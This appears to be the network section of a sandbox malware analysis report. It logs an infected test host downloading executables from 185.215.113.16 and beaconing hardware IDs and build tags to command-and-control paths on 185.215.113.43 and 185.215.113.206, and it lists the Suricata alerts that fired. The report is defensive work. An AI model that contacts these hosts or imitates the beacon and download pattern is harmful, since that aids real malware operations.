Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:47:05 GMTContent-Type: application/octet-streamContent-Length: 1913856Last-Modified: Fri, 01 Nov 2024 02:41:17 GMTConnection: keep-aliveETag: "67243fcd-1d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 cf 54 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 b4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 62 66 74 73 66 6e 00 20 1a 00 00 a0 31 00 00 16 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 79 63 6d 6d 75 74 00 10 00 00 00 c0 4b 00 00 06 00 00 00 0c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003073001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003074001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build"tale------KEGIDHJKKJDGCBGCGIJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003075001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIIIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 2d 2d 0d 0a Data Ascii: ------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="build"tale------KEGCBKKJDHJJJKECGIII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003076001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="build"tale------GDHIIIIEHCFIECAKFHJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"tale------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="build"tale------DGCFHIDAKECFHIEBFCGI--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49727 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49750 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:58524 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:58527 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58528 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58529 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58530 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58532 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58534 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:58536 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58538 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58539 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58540 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58541 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:58542 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58543 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:58546 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:58546 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58545 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58547 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58554 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58557 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58556 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58565 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58563 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58571 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:58580 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58576 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58586 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58589 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58591 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:58595 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:58600 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:49754

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
